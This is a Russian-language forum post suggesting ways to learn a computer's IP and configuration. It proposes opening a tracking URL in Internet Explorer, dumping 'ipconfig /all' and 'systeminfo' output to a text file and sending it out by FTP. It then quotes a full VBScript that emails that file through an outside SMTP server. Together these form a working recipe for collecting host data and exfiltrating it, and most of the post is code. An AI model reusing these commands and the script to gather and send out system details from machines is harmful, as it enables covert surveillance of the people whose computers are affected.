*CRAZY* запустить IE с параметром типа http://site.com/1.php а там уже вычеслить ip подключившегося.
Болле изошренный метод
ipconfig /all>1.txt
systeminfo >>1.txt
а дальше такимже образом создать конфиг для ftp и отослать этот файл ))
Еще как метод сделать через VBS,т.к удобно и родное.
Цитата:
'''''''''''''''''''''''''''''''''''''''''''''''''' ''
' Скрипт: SendMail.vbs
' Описание: отправка сообщения по электронной почте
' Язык: VBScript
' Автор: Andrew Mishechkin
'''''''''''''''''''''''''''''''''''''''''''''''''' ''
Option Explicit
Dim objEmail 'CDO объект для отправки сообщения
Dim MessText 'Текст сообщения
Dim AttFile 'Файл вложения.
'Формируем текст сообщения
MessText = "Данное сообщение послано" & VbCrLf
MessText = MessText + "скриптом Sendmail.vbs" & VbCrLf
AttFile = "C:\Temp\1.txt" 'Указываем путь к файлу, который необходимо вложить в сообщение
Set objEmail = WScript.CreateObject("CDO.Message") 'Создаем объект CDO и получаем на него ссылку в переменную objEmail
'''''''''''''''''''''''''''''''''''''''''''''''''' ''
' Указание необходимых параметров объекта CDO
'''''''''''''''''''''''''''''''''''''''''''''''''' ''
objEmail.From = "Отправитель"" script@company.ru" 'параметры отправителя (имя и адрес электронной почты)
objEmail.To = "admin@company.ru" 'адрес электронной почты получателя
objEmail.Subject = "Проверка связи" 'тема сообщения
objEmail.AddAttachment(AttFile) 'файла вложения
objEmail.Textbody = MessText 'текст сообщения
'Отправить сообщение используя сетевую SMTP-службу (1 - используется для отправки через локальную SMTP-службу)
objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
'Указание имени SMTP-сервера
objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "mail.company.ru"
'Указание SMPT-порта на сервере
objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25
'Обновить конфигурацию CDO-объекта
objEmail.Configuration.Fields.Update
'Послать сообщение с помощью метода Send
objEmail.Send
Почти тоже самое но с объяснениями правдо на английском http://www.microsoft.com/technet/scriptcenter/resources/qanda/nov04/hey1129.mspx